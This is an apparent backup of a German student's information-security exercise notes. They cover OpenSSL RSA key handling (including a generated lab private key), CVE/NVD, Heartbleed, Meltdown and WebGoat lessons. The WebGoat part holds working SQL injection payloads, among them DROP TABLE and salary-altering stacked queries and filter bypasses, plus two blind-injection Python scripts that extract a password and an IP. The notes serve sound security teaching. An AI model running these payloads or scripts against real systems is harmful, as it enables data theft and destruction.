vault backup: 2023-10-27 19:03:01

SS23/Informationssicherheit/UEB8/UEB08.md

@@ -0,0 +1,330 @@
+# 1. 
+
+## a 
+
+`openssl genrsa -out key.pem 1024` 
+
+``` 
+
+-----BEGIN PRIVATE KEY----- 
+
+MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAMZwcZmvikwKsPJZ 
+
+BdJ5PX+Jkp8UjEVcqkDquJgVFET9stJIxO2dhhLkrf2V4xybV+bAq9RGbzdosPXu 
+
+j/b3LQwQb786tyAIonS3QtElQyUcCm+bnLW+I9gK1eqd7mzzvd0OpTx5KeskLI0o 
+
+V1m0KLR2gU1kR/qQtzxm5kdJLp3fAgMBAAECgYEAsCqA32Q0jX9sSSn4/jo9+2xh 
+
+qzJtuOIkD0+RowoLnZfwWbjaguw2a61yPU8EeY/7QFLJ+MCy2WjquNoaGrCi3qNj 
+
+wsSO+3gkTZfKyf0VYQ+44XwcNHMvyvjZddPfUxz7OJOMeXZ/gnTIL7ZLiVbUXLVO 
+
+HEvhAxVsH7moGEbGBEECQQDrZrH2Js7DJrj1QBM79PB3/AKb5yey5tmUisI9vJaX 
+
+YWaBCa1fUP5lDpSY/GyQIJaP54QrytVZBmUcd/5Oy6BhAkEA183AYlcOEHfOKtPK 
+
+LMUgHla2pstLCJxAD03IFVXz/425RtY6t3mtRj16RGzpNttCnKmyyghhj/6liSrs 
+
+wNvmPwJAUbyi5nmrKY/0gRPymcr/BGp47XFiE3ic7DsSHyWwlHe5g+y8SnBxJN3f 
+
+Mw/TEmh+XxFgj2QqmHLkAPKZVvrVgQJAfdOVzMD9jlSMfSQnyZrWc1oT/YSjJ04T 
+
+e9jaRLZtIiA8WzUl3zyu7zmBRMxL3pRRbo7zlCD24cKUOjow+PI+eQJBAOWj8Z+3 
+
+Pcykk2vdxn2GOL2eNgE2ywe1BU8pjMboVT/i9nFRj+3CVFbHO37upiL65U9bl4vF 
+
+sdQc3etTvcu+kWo= 
+
+-----END PRIVATE KEY----- 
+
+
+```
+
+
+quelle: https://samsclass.info/141/proj/pCH-RKF.htm 
+
+--- 
+
+## b 
+
+### .pem (Privacy-Enhanced Mail): 
+
+Dateiformat für kryptographische Schlüssel. 
+
+### ASN.1 (Abstract Syntax Notation One): 
+
+"eine Beschreibungssprache zur Definition von Datenstrukturen" 
+
+quellen:  
+
+- https://de.wikipedia.org/wiki/Privacy_Enhanced_Mail 
+
+- https://de.wikipedia.org/wiki/Abstract_Syntax_Notation_One 
+
+--- 
+
+## c / d 
+
+`openssl rsa -in key.pem -text -inform PEM -noout` 
+
+``` 
+
+modulus:(n = pq) 
+
+    00:a4:54:3b:f9:d9:0a:8e:01:be:51:0d:49:e3:d6: 
+
+    17:c7:77:96:6b:75:02:8b:4b:f0:e1:8a:cc:14:39: 
+
+    e0:d3:07:d1:2a:74:de:98:4d:6c:0a:e3:b4:88:c0: 
+
+    b6:c7:47:38:3a:12:bf:e4:4e:67:a8:2f:85:10:bd: 
+
+    b5:a8:a9:88:cc:96:cf:76:69:14:68:8f:e8:bb:ce: 
+
+    35:5b:59:10:b5:7e:c2:a4:98:a5:43:87:c2:2e:60: 
+
+    b4:81:5d:e1:49:60:d1:55:df:a5:ff:38:bb:5f:e9: 
+
+    f0:b7:0c:d6:52:78:23:80:7a:55:1a:eb:92:3f:b0: 
+
+    0b:14:18:48:c9:cb:a1:d2:7f 
+
+publicExponent: 65537 (0x10001) (e) 
+
+privateExponent: (d) 
+
+    31:7d:d5:1a:68:8d:cf:3b:23:30:92:0a:00:fe:87: 
+
+    e6:e1:53:82:45:99:60:8e:9c:9b:b1:0b:c9:c3:ac: 
+
+    bc:a2:0c:12:f7:63:db:06:e6:55:59:43:14:34:c6: 
+
+    57:ba:51:6a:dc:1e:c3:0a:02:1a:1b:45:be:47:04: 
+
+    a1:29:7e:33:74:2b:4f:98:3e:83:ab:9f:6e:9f:27: 
+
+    f1:91:80:4d:97:be:c8:00:f1:f4:72:4d:e4:9f:c9: 
+
+    80:ef:59:72:5d:72:ca:d5:42:43:5d:70:50:7e:bd: 
+
+    4f:87:6e:3d:ce:1c:5d:40:a3:a9:07:fb:75:29:04: 
+
+    a8:61:e9:0d:6a:a7:ea:71 
+
+prime1: (p) 
+
+    00:d9:cd:05:8b:ed:1d:49:9b:90:f4:a2:e8:2d:62: 
+
+    2c:cd:ef:bb:68:74:72:c2:a3:fb:3b:27:32:5b:09: 
+
+    51:b2:3d:72:29:61:03:da:5a:fb:71:8d:66:85:66: 
+
+    c2:f9:84:77:8f:c3:79:03:29:cd:dc:60:20:2a:f8: 
+
+    cf:d3:15:66:4b 
+
+prime2: (q) 
+
+    00:c1:26:65:82:0d:2c:7b:76:b8:44:20:1f:ad:75: 
+
+    d7:5d:94:02:96:3d:0a:82:36:fc:78:3f:17:3a:bd: 
+
+    2c:e6:19:8d:bf:2d:b4:af:c0:fe:40:f5:03:d7:62: 
+
+    a0:60:7a:1a:d3:e2:b9:7d:e4:8d:43:d5:79:d8:cd: 
+
+    25:0f:8a:34:1d 
+
+exponent1: (dp) 
+
+    57:be:12:b7:f6:44:50:3d:0d:be:a0:4a:6c:ce:1a: 
+
+    42:b4:8b:89:5f:30:44:5d:8f:7e:9b:21:dc:2e:fa: 
+
+    ec:95:78:82:57:05:18:58:82:e7:92:11:75:38:9a: 
+
+    df:ae:90:04:28:b9:7d:9e:bf:c2:42:2f:73:60:5d: 
+
+    49:2a:5b:d5 
+
+exponent2: (dq) 
+
+    00:af:17:b1:99:4d:7b:ef:88:55:ce:5c:18:9b:54: 
+
+    62:21:90:95:2f:c0:b2:10:0c:ec:9d:cd:03:af:d9: 
+
+    e2:23:cd:32:74:06:68:ef:92:52:6a:6c:32:49:44: 
+
+    3d:02:78:6e:6d:79:f0:91:31:68:e5:ff:55:6f:b5: 
+
+    b8:4c:f8:09:f9 
+
+coefficient: (q inv) 
+
+    00:8e:68:ff:dd:cd:ab:61:6d:91:88:5e:4b:ba:24: 
+
+    d9:47:4f:24:3f:58:8f:21:a4:07:f2:c8:98:a5:5e: 
+
+    be:45:06:d4:03:08:df:ec:a7:d0:db:48:5d:52:2b: 
+
+    ff:86:e8:b3:5e:66:e5:79:c7:20:bc:4a:71:ca:ac: 
+
+    c8:24:3a:3b:62 
+
+
+```
+
+quelle: https://crypto.stackexchange.com/questions/6593/what-data-is-saved-in-rsa-private-key 
+
+--- 
+
+## e 
+
+Chinesischer Restsatz: Effizienteres verschlüsseln/signieren. 
+
+quelle: https://de.wikipedia.org/wiki/RSA-Kryptosystem#RSA_mit_dem_Chinesischen_Restsatz 
+
+--- 
+
+## f 
+
+`openssl rsa -in key.pem -pubout > key.pub` 
+
+`openssl rsa -pubin -in key.pub -text` 
+
+``` 
+
+RSA Public-Key: (1024 bit) 
+
+Modulus: 
+
+    00:a4:54:3b:f9:d9:0a:8e:01:be:51:0d:49:e3:d6: 
+
+    17:c7:77:96:6b:75:02:8b:4b:f0:e1:8a:cc:14:39: 
+
+    e0:d3:07:d1:2a:74:de:98:4d:6c:0a:e3:b4:88:c0: 
+
+    b6:c7:47:38:3a:12:bf:e4:4e:67:a8:2f:85:10:bd: 
+
+    b5:a8:a9:88:cc:96:cf:76:69:14:68:8f:e8:bb:ce: 
+
+    35:5b:59:10:b5:7e:c2:a4:98:a5:43:87:c2:2e:60: 
+
+    b4:81:5d:e1:49:60:d1:55:df:a5:ff:38:bb:5f:e9: 
+
+    f0:b7:0c:d6:52:78:23:80:7a:55:1a:eb:92:3f:b0: 
+
+    0b:14:18:48:c9:cb:a1:d2:7f 
+
+Exponent: 65537 (0x10001) 
+
+writing RSA key 
+
+-----BEGIN PUBLIC KEY----- 
+
+MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCkVDv52QqOAb5RDUnj1hfHd5Zr 
+
+dQKLS/DhiswUOeDTB9EqdN6YTWwK47SIwLbHRzg6Er/kTmeoL4UQvbWoqYjMls92 
+
+aRRoj+i7zjVbWRC1fsKkmKVDh8IuYLSBXeFJYNFV36X/OLtf6fC3DNZSeCOAelUa 
+
+65I/sAsUGEjJy6HSfwIDAQAB 
+
+-----END PUBLIC KEY----- 
+
+```
+
+quellen: 
+
+- https://stackoverflow.com/questions/5244129/use-rsa-private-key-to-generate-public-key 
+
+- https://superuser.com/questions/1644533/how-do-i-use-the-openssl-command-to-decode-a-public-key-pem-file 
+
+--- 
+
+## g 
+
+`echo 'hey abc' | openssl rsautl -encrypt -pubin -inkey key.pub >message.encrypted` 
+
+``` 
+
+$ xxd message.encrypted 
+
+00000000: 9f6a 58aa ef1f bf17 8058 6e03 39f8 673b  .jX......Xn.9.g; 
+
+00000010: 6d3b ad1e b9b3 8f71 a7c2 0984 a0ff 5291  m;.....q......R. 
+
+00000020: a2ef 8a36 8132 3d61 7df7 105b e8c9 e07c  ...6.2=a}..[...| 
+
+00000030: fde7 5663 13f0 961b 63e8 2061 c3f7 253e  ..Vc....c. a..%> 
+
+00000040: e7bf 7711 8761 9a16 1ce9 b320 0903 4c58  ..w..a..... ..LX 
+
+00000050: 0b45 f506 4d5a 6c47 a4b9 4d32 6735 637b  .E..MZlG..M2g5c{ 
+
+00000060: 648c c7d1 194c f263 6bfb 7bf8 a338 9dfc  d....L.ck.{..8.. 
+
+00000070: 621e e772 3c4f c165 a6ce 0e1a 93a4 c031  b..r<O.e.......1 
+
+```
+
+quellen: 
+
+- https://unix.stackexchange.com/questions/12260/how-to-encrypt-messages-text-with-rsa-openssl 
+
+- https://stackoverflow.com/questions/1765311/how-to-view-files-in-binary-from-bash 
+
+--- 
+
+## h 
+
+Weil bei zu lange Nachrichten das entschlüsseln nicht richtig funktioniert. 
+
+Das Problem hierbei ist der RSA Schlüssel zu klein ist und mein ein "roll over" bekommt. 
+
+quelle: https://stackoverflow.com/questions/31403494/encrypt-a-long-text-string-using-rsa-encryption-only 
+
+--- 
+
+## i 
+
+`openssl rsautl -decrypt -in message.encrypted -out message.decrypted -inkey key.pem` 
+
+``` 
+
+$ cat message.decrypted 
+
+hey abc 
+
+```
+
+quelle: https://stackoverflow.com/questions/42300795/openssl-decrypting-with-a-private-key 
+
+# 2. 
+
+## a) 
+
+``` 
+
+$ openssl rsa -pubin -in key.pub -text 
+
+RSA Public-Key: (128 bit) 
+
+Modulus: 
+
+    00:c2:49:bd:6e:85:25:fa:44:86:c5:77:b5:37:ad: 
+
+    00:4b 
+
+Exponent: 65537 (0x10001) 
+
+writing RSA key 
+
+-----BEGIN PUBLIC KEY----- 
+
+MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRAMJJvW6FJfpEhsV3tTetAEsCAwEAAQ== 
+
+-----END PUBLIC KEY----- 
+
+```

SS23/Informationssicherheit/Ueb1/Ueb01.md

@@ -0,0 +1,324 @@
+# 1.1
+## a
+### Betreiber
+- Der Betreiber ist die Mitre Corporation, eine Non-Profit-Organisation, die aus Verschiedenen Forschungsinstituten besteht und sich aus einer Abspaltung vom MIT gebildet hat. Ihr „Auftraggeber“ sind die USA.
+Eines ihrer Institute ist z.B. das „Homeland Security Systems Engineering and Development Institute “.
+
+
+
+
+### Finanzierung
+- Das CVE-Programm von der MITRE Corporation wird von der CISA (Cybersecurity and Infrastructure Security Agency) finanziert die dem bereits genanntem U.S. Department of Homeland Security.
+
+
+## b
+### NVD
+- NVD baut auf CVE auf und erweitert CVE um z.B. Analysen und Gegenmaßnahmen. 
+- NVD wird vom National Institute of Standards and Technology (NIST) betrieben und unter anderem von der US-Regierung finanziert.
+- Beurteilt werden die Verwundbarkeiten mit Hilfe des Common Vulnerability Scoring System (CVSS), einem einheitlichen System für Beurteilung
+- Weitere bereitgestellte Informationen sind:
+    - Betroffene Software bzw. Versionen
+
+    - Schweregrad
+
+    - Auswirkungen
+    - Gegenmaßnahmen
+
+
+
+
+
+
+
+
+
+
+
+
+## e) Was für ein Verwundbarkeitstyp ist Heartbleed laut CWE?
+
+
+
+
+CWE-126: Buffer Over-read
+- Entsteht, wenn eine Anwendung versucht, Daten von einem Puffer oder Speicherbereich zu lesen, der kleiner ist als die angeforderte Datenmen
+- Führt dazu, dass die Anwendung auf Speicher zugreift, der außerhalb des zugewiesenen Bereichs liegt und möglicherweise Daten liest, die nicht für sie vorgesehen sind
+  - Kann zu unerwartetem Verhalten, einschließlich Abstürzen oder Sicherheitslücken führen
+
+
+
+
+## f) Lernen Sie weitere Details zu Heartbleed, bspw. hinsichtlich Gegenmaßnahmen, Exploits,
+betroffener Software und  ̈ahnlichen Verwundbarkeiten.
+
+
+- Betroffene Software: Heartbleed betraf die OpenSSL-Bibliothek, die von vielen Webservern, E-Mail-Servern, VPN-Gateways und anderen Netzwerkdiensten verwendet wird. 
+
+  
+- Gegenmaßnahmen: 
+  
+  - Als Unternehmen/Seitenbetriber: Um gegen Heartbleed geschützt zu sein, mussten betroffene Organisationen schnell reagieren, indem sie ihre OpenSSL-Versionen auf eine nicht anfällige Version aktualisierten.
+  - Als Entwickler: eine if-Abfrage
+  
+- Exploits
+  - Entschlüsselung archivierter Daten
+  - Entschlüsselung während der Webserver-Verbindungsaufnahme
+
+  - Entschlüsselung der Verbindungsaufnahme an VoIP-Telefonen, Netzwerkdruckern und Routern
+
+
+  
+
+-  Ähnliche Schwachstellen, wie Heartbleed, die auf unsicheren Speicheroperationen beruhen:
+
+   
+    -  "Buffer Overflow"-Schwachstelle
+
+       -  Schwachstelle, die auftritt, wenn ein Programm versucht, mehr Daten in einen Puffer oder Speicherbereich zu schreiben, als dieser aufnehmen kann.
+    -  "Catastrophic Backtracking" in OpenSSL (CVE-2015-0291),
+        -  ermöglichte Angreifern, den SSL-Server durch Senden eines speziell gestalteten Pakets zum Absturz zu bringen
+
+    
+
+# 1.2
+
+
+
+## a) Um welche Verwundbarkeit handelt es sich genau? Um welchen Verwundbarkeitstyp han-
+
+delt es sich?
+
+
+
+Die Schwachstelle mit der CVE-2017-5754 wird auch als Meltdown bezeichnet und betrifft Prozessoren von Intel sowie einige ARM- und IBM-Power-Prozessoren. Es handelt sich bei dieser Schwachstelle um eine Hardware-Schwachstelle, die aufgrund eines Designfehlers in der Prozessorarchitektur entstanden ist.
+
+
+
+## b) Was ist die Ursache der Verwundbarkeit und wie kann sie ausgenutzt werden?
+
+
+
+Die Ursache für die Schwachstelle CVE-2017-5754, auch bekannt als Meltdown, liegt in der Art und Weise, wie moderne Prozessoren Speicherzugriffe optimieren, um eine höhere Leistung zu erzielen. Aufgrund dieser Optimierungen werden Speicherzugriffe teilweise vor der Berechtigungsprüfung durchgeführt, was es einem Angreifer ermöglicht, vertrauliche Informationen auszulesen, auf die er normalerweise keinen Zugriff hätte.
+
+
+
+Ein Angreifer kann diese Schwachstelle ausnutzen, indem er einen speziell präparierten Programmcode ausführt, der es ihm erlaubt, den Inhalt des Speichers auszulesen, der normalerweise für andere Prozesse oder das Betriebssystem zugänglich ist. Durch die Ausnutzung dieser Schwachstelle kann ein Angreifer vertrauliche Informationen wie Passwörter, Kryptoschlüssel oder andere sensible Daten auslesen.
+
+
+Es ist wichtig zu beachten, dass ein Angreifer bereits Zugriff auf das System haben und speziell präparierten Code ausführen muss, um diese Schwachstelle auszunutzen.
+
+
+
+
+
+## c) Welche Produkte sind von der Verwundbarkeit betroffen?
+
+
+Die Schwachstelle betrifft hauptsächlich Prozessoren von Intel sowie einige ARM- und IBM-Power-Prozessoren, die seit 1995 entwickelt wurden. Die Schwachstelle wurde im Januar 2018 öffentlich bekannt gemacht und wurde als eine der schwersten Sicherheitslücken in der Geschichte der IT-Industrie eingestuft.
+
+
+
+## d) Was ist die Ursache der Verwundbarkeit und wie kann sie ausgenutzt werden?
+
+
+
+- Hardware-Hersteller haben Mikrocode-Updates und Firmware-Updates bereitgestellt, um die Anfälligkeit ihrer Chips gegenüber Meltdown zu verringern. Diese Updates beheben nicht den  Designfehler, helfen jedoch dabei, die Auswirkungen der Verwundbarkeit zu begrenzen.
+- Betriebssystemhersteller haben Sicherheitspatches und Updates veröffentlicht, um ihre Systeme gegen Meltdown zu schützen. Diese Updates beinhalten Kernel Page Table Isolation oder ähnliche Techniken, um den Kernel-Speicher vom Benutzerspeicher zu isolieren und so den Zugriff auf geschützte Speicherbereiche zu verhindern.
+
+
+## e)
+Berechnen Sie den CVSS Score mit dem ”Common Vulnerability Scoring System Calculator Version 3.1“. Welche qualitativen Unterschiede zum CVSS 3.1 Score von Heartbleed k ̈onnen Sie dabei feststellen?
+
+
+![Alt text](https://cdn.discordapp.com/attachments/1017491520145854565/1090682843853758464/image.png)
+
+Meltdown
+
+![Alt text](https://cdn.discordapp.com/attachments/1017491520145854565/1090683294301044846/image.png)
+
+
+
+
+
+# 1.1
+
+
+## a
+### Betreiber
+- Der Betreiber ist die Mitre Corporation, eine Non-Profit-Organisation, die aus Verschiedenen Forschungsinstituten besteht und sich aus einer Abspaltung vom MIT gebildet hat. Ihr „Auftraggeber“ sind die USA.
+Eines ihrer Institute ist z.B. das „Homeland Security Systems Engineering and Development Institute “.
+
+
+### Finanzierung
+- Das CVE-Programm von der MITRE Corporation wird von der CISA (Cybersecurity and Infrastructure Security Agency) finanziert die dem bereits genanntem U.S. Department of Homeland Security.
+
+
+
+
+
+## b
+### NVD
+- NVD baut auf CVE auf und erweitert CVE um z.B. Analysen und Gegenmaßnahmen. 
+- NVD wird vom National Institute of Standards and Technology (NIST) betrieben und unter anderem von der US-Regierung finanziert.
+- Beurteilt werden die Verwundbarkeiten mit Hilfe des Common Vulnerability Scoring System (CVSS), einem einheitlichen System für Beurteilung
+- Weitere bereitgestellte Informationen sind:
+
+    - Betroffene Software bzw. Versionen
+    - Schweregrad
+    - Auswirkungen
+    - Gegenmaßnahmen
+
+
+
+
+
+
+
+
+
+# 1.2
+## c
+(Bilder)
+### Angriffsvektor
+- Heartbleed: Über das Netzwerk
+- Meltdown: Lokal
+
+### erforderliche Privilegien 
+
+
+
+- Meltdown erfordert niedrige Privilegien
+- Heartbleed benötigt keine Privilegien 
+### CVSS Score
+-  Meltdown: Base Score von 5.6(Medium)
+-  Heartbleed: Base Score von 7.5(High)
+
+
+
+
+
+
+
+## d
+
+
+
+- Hardware-Hersteller haben Mikrocode-Updates und Firmware-Updates bereitgestellt, um die Anfälligkeit ihrer Chips gegenüber Meltdown zu verringern. Diese Updates beheben nicht den  Designfehler, helfen jedoch dabei, die Auswirkungen der Verwundbarkeit zu begrenzen.
+- Betriebssystemhersteller haben Sicherheitspatches und Updates veröffentlicht, um ihre Systeme gegen Meltdown zu schützen. Diese Updates beinhalten Kernel Page Table Isolation oder ähnliche Techniken, um den Kernel-Speicher vom Benutzerspeicher zu isolieren und so den Zugriff auf geschützte Speicherbereiche zu verhindern.
+## e) Berechnen Sie den CVSS Score mit dem ”Common Vulnerability Scoring System Calcu-
+lator Version 3.1“. Welche qualitativen Unterschiede zum CVSS 3.1 Score von
+Heartbleed k ̈onnen Sie dabei feststellen?
+
+
+
+
+![Alt text](https://cdn.discordapp.com/attachments/1017491520145854565/1090682843853758464/image.png)
+Meltdown
+
+![Alt text](https://cdn.discordapp.com/attachments/1017491520145854565/1090683294301044846/image.png)
+
+
+
+
+
+# 1.3
+
+
+
+## HTTP Basics
+
+### 1
+- Name eingeben
+- Output wird zurückgegeben
+
+### 2
+- Mit Untersuchen nachgucken
+
+
+
+
+
+
+
+![image info](20230331_10h28m24s_grim.png)
+
+
+
+
+
+- Alternativ: ZAP interception
+  - Schritte von HTTP Proxies durchführen
+
+
+
+
+![image info](20230331_17h00m06s_grim.png)
+
+
+## HTTP Proxies
+### 1
+
+
+
+
+- Breakpoint filter erstellen
+  - auf Request Header Contains POST setzen
+- auf "Submit" drücken
+- POST mit GET ersetzen
+- 'x-request-intercepted:true' einfügen
+- "doesn't+matter+really" mit "Requests are tampered easily" ersetzen
+- auf "Continue" drücken
+
+
+![image info](20230331_14h12m43s_grim.png)
+
+
+## Developer Tools
+
+
+### 1
+
+
+- Seite Untersuchen 
+- Zu den Console Tab wechseln
+- webgoat.customjs.phoneHome() einfügen
+- Die zufällif generierte Zahl abgeben
+
+
+![image info](20230331_16h17m48s_grim.png)
+
+
+### 2
+
+
+- Seite Untersuchen 
+- Zu den Network Tab wechseln
+- Auf "Go" drücken
+- POST request finden (der Name ist Network)
+- Zum Request Tab wechsel
+- NetworkNum auslesen
+
+
+
+
+![image info](20230331_16h22m19s_grim.png)
+
+
+
+
+## CIA Triad
+### 1
+Antworten:
+- Frage 1 
+  - Antwort 3
+- Frage 2
+  - Antwort 1
+- Frage 3 
+  - Antwort 4
+- Frage 4 
+  - Antwort 2
+
+
+
+
+![image info](20230331_16h29m50s_grim.png)

SS23/Informationssicherheit/Ueb2/Ueb2.md

@@ -0,0 +1,488 @@
+- [[#Tabelle|Tabelle]]
+- [[#Intro|Intro]]
+	- [[#Intro#1|1]]
+	- [[#Intro#2|2]]
+	- [[#Intro#3|3]]
+	- [[#Intro#4|4]]
+	- [[#Intro#5|5]]
+	- [[#Intro#6|6]]
+	- [[#Intro#7|7]]
+	- [[#Intro#8|8]]
+	- [[#Intro#9|9]]
+- [[#Advanced|Advanced]]
+	- [[#Advanced#1|1]]
+	- [[#Advanced#2|2]]
+	- [[#Advanced#3|3]]
+- [[#Mitigation|Mitigation]]
+	- [[#Mitigation#1|1]]
+	- [[#Mitigation#2|2]]
+	- [[#Mitigation#3|3]]
+	- [[#Mitigation#4|4]]
+	- [[#Mitigation#5|5]]
+- [[#Aufgaben|Aufgaben]]
+	- [[#Aufgaben#a|a]]
+	- [[#Aufgaben#b|b]]
+	- [[#Aufgaben#c|c]]
+- [[#Cross Site Scripting|Cross Site Scripting]]
+	- [[#Cross Site Scripting#1|1]]
+	- [[#Cross Site Scripting#2|2]]
+	- [[#Cross Site Scripting#3|3]]
+	- [[#Cross Site Scripting#4|4]]
+	- [[#Cross Site Scripting#5|5]]
+- [[#Aufgaben|Aufgaben]]
+	- [[#Aufgaben#a|a]]
+	- [[#Aufgaben#b|b]]
+	- [[#Aufgaben#c|c]]
+	- [[#Aufgaben#d|d]]
+	- [[#Aufgaben#e|e]]
+
+
+
+# 2.1
+## Tabelle
+| Schritt                         | Sicheheitsziele                               | Assets                                                            | Parteien                  |
+| ------------------------------- | --------------------------------------------- | ----------------------------------------------------------------- | ------------------------- |
+| Formular-basierte Webseite      | Verfügbarkeit                                 | Webseite und Webserver                                            | Bank und Kunde            |
+| Eingabe der Überweisungsdetails | Vertraulichkeit und Integrität                | Überweisungsinformationen (Empfänger, IBAN, Betrag)               | Kunde, Bank und Empfänger |
+| Anforderung einer TAN           | Vertraulichkeit und Integrität                | TAN-Liste, Index und TAN-Verfahren                                | Kunde und Bank            |
+| Eingabe und Bestätigung der TAN | Vertraulichkeit, Integrität und Authentizität | Eingegebene TAN und Überweisungsdetails                           | Kunde, Bank und Empfänger |
+| Anzeige der Quittung            | Vertraulichkeit und Integrität                | Quittungsinformationen (z.B. Überweisungsdetails, Datum, Uhrzeit) | Kunde, Bank und Empfänger |
+
+# 2.2
+
+## Intro
+
+###  1
+```
+SELECT department FROM employees WHERE first_name='Bob'
+```
+
+- SELECT: Wählt Spalte aus
+- FROM: Wählt Tabelle aus
+- WHERE: Anweisung zum suchen
+
+### 2
+```
+UPDATE employees SET department = 'Sales' WHERE first_name = 'Tobi' AND last_name = 'Barnett'
+```
+
+- UPDATE: Updated exestierende Daten
+- SET: Wählt Spalte aus
+- WHERE: Anweisung zum suchen
+- AND: Und für die Abfragen der WHERE Anweisung
+
+### 3
+```
+ALTER TABLE employees ADD phone varchar(20);
+```
+
+
+- ALTER: Verändert die Struktur einer Datenbank
+- TABLE: Wählt Tabelle aus, die verändert werden soll
+- ADD: Fügt eine Spalte hinzu
+
+### 4
+```
+GRANT SELECT ON grant_rights TO unauthorized_user;
+```
+
+- GRANT: Gibt einem Benutzer Rechte 
+- SELECT: Wählt Spalte aus
+- ON: Wählt Rechte aus
+- TO: Wählt Benutzer aus
+
+### 5
+```
+SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '' or '1' = '1
+```
+
+- Wird zu: SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith' or '1' = '1'
+-  '1' = '1'  ist immer wahr
+-  '1 wird durch die query geschlossen
+-  Wird praktisch zu: SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or TRUE
+- Ist immer wahr
+
+### 6
+- Login_Count: 1
+- User_Id: 1 OR 1=1 
+
+- Wird zu:  SELECT * From user_data WHERE Login_Count = 1 and userid= 1 OR 1=1
+- das OR true sorgt dafür, dass es true ist
+
+### 7
+- Employee Name: Smith' OR 1=1 --
+- Authentication TAN:  (egal)
+
+- Smith' beendet ' '
+- OR 1=1 ist true
+- "--" ignoriert den rest der Zeile (Kommentar)
+
+### 8
+- Employee Name: Smith'; UPDATE employees SET salary = 1000000 WHERE last_name = 'Smith'--
+- Authentication TAN:  (egal)
+
+- Smith' beendet ' ' 
+- ; beendet aktuelle query
+- 'UPDATE employees SET salary = 1000000 WHERE last_name = 'Smith'' verändert salary 
+- "--" ignoriert den Rest 
+
+### 9
+Smith'; DROP TABLE access_log; --
+
+- Smith' beendet ' ' 
+- ; beendet aktuelle query
+-  DROP TABLE access_log; löscht die access_log tabelle 
+- "--" ignoriert den Rest 
+
+## Advanced
+
+### 1
+'; SELECT * FROM user_system_data;--
+
+- wird zu SELECT * FROM user_data WHERE last_name = ''; SELECT * FROM user_system_data;--'
+- '; beendet aktuelle query 
+- SELECT * FROM user_system_data; nimmt alles aus user_system_data; 
+- "--" ignoriert den Rest 
+
+### 2 
+
+- `tom' AND '1'='1` is vergeben
+	- Es gibt eine if-Abfrage, ob der Name vergeben ist
+	- Man kann diese mit AND beeinflussen
+- `tom' AND substring(password,1,1)='t` kann buchstaben des Passworts herrausfinden
+	- "Username taken" bedeutet, dass der Buchstabe richig ist
+- Durch testen: thisisasecretfortomonly
+
+``` python
+import json  
+import requests  
+  
+def sql_injection_advance_5():  
+     alphabet_index = 0  
+     alphabet = 'abcdefghijklmnopqrstuvwxyz'  
+     password_index = 0  
+     password = ''  
+  
+     headers = {  
+        'Cookie': 'JSESSIONID=P9ImeJQVi_A20BBfojVn9ix_qaGR6PCKbRSI7395',  
+     }  
+  
+     while True:  
+         payload = 'tom\' AND substring(password,{},1)=\'{}'.format(password_index + 1, alphabet[alphabet_index])  
+  
+         data = {  
+             'username_reg': payload,  
+             'email_reg': 'a@a',  
+             'password_reg': 'a',  
+             'confirm_password_reg': 'a'  
+         }  
+  
+         r = requests.put('http://127.0.0.1:8080/WebGoat/SqlInjectionAdvanced/challenge', headers=headers, data=data)  
+  
+         try:  
+             response = json.loads(r.text)  
+         except:  
+             print("Wrong JSESSIONID, find it by looking at your requests once logged in.")  
+             return  
+  
+         if "already exists please try to register with a different username" not in response['feedback']:  
+             alphabet_index += 1  
+             if alphabet_index > len(alphabet) - 1:  
+                 return  
+         else:  
+             password += alphabet[alphabet_index]  
+             print(password)  
+             alphabet_index = 0  
+             password_index += 1  
+  
+sql_injection_advance_5()
+
+```
+
+Output:
+```
+t
+th
+thi
+this
+thisi
+thisis
+thisisa
+thisisas
+thisisase
+thisisasec
+thisisasecr
+thisisasecre
+thisisasecret
+thisisasecretf
+thisisasecretfo
+thisisasecretfor
+thisisasecretfort
+thisisasecretforto
+thisisasecretfortom
+thisisasecretfortomo
+thisisasecretfortomon
+thisisasecretfortomonl
+thisisasecretfortomonly
+```
+
+### 3
+1. What is the difference between a prepared statement and a statement?
+	- Solution 4: A statement has got values instead of a prepared statement
+2. Which one of the following characters is a placeholder for variables?
+	- Solution 3: ?
+3. How can prepared statements be faster than statements?
+	- Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way.
+4. How can a prepared statement prevent SQL-Injection?
+	- Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data.
+5. What happens if a person with malicious intent writes into a register form :Robert); DROP TABLE Students;-- that has a prepared statement?
+	 - Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.
+
+## Mitigation
+
+### 1 
+- getConnection
+- PreparedStatement
+- prepareStatement
+- ?
+- ? 
+- setString
+- setString
+
+![[2023-04-17_14-16.png]]
+
+### 2
+``` java
+try {  
+     Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);  
+     PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE name = ?");  
+     ps.setString(1, "Admin");  
+     ps.executeUpdate();  
+} catch (Exception e) {  
+     System.out.println("Oops. Something went wrong!");  
+}
+```
+
+### 3
+```
+a';/**/select/**/*/**/from/**/user_system_data;--
+```
+
+### 4
+```
+a';/**/seselectlect/**/*/**/frfromom/**/user_system_data;--
+```
+
+### 5
+```python
+import json  
+import requests  
+  
+def sql_injection_mitigation_10():  
+	 index = 0  
+  
+	 headers = {  
+		 'Cookie': 'JSESSIONID=P9ImeJQVi_A20BBfojVn9ix_qaGR6PCKbRSI7395'  
+	 }  
+  
+	 while True:  
+		 payload = '(CASE WHEN (SELECT ip FROM servers WHERE hostname=\'webgoat-prd\') LIKE \'{}.%\' THEN id ELSE hostname END)'.format(index)  
+  
+		 r = requests.get('http://127.0.0.1:8080/WebGoat/SqlInjectionMitigations/servers?column=' + payload, headers=headers)  
+  
+		 try:  
+			 response = json.loads(r.text)  
+		 except:  
+			 print("Wrong JSESSIONID, find it by looking at your requests once logged in.")  
+			 return  
+  
+		 if response[0]['id'] == '1':  
+			 print('webgoat-prd IP: {}.130.219.202'.format(index))  
+			 return  
+		 else:  
+			 index += 1  
+			 if index > 255:  
+				 print("No IP found")  
+				 return  
+  
+sql_injection_mitigation_10()
+```
+
+Output: 
+```
+webgoat-prd IP: 104.130.219.202
+```
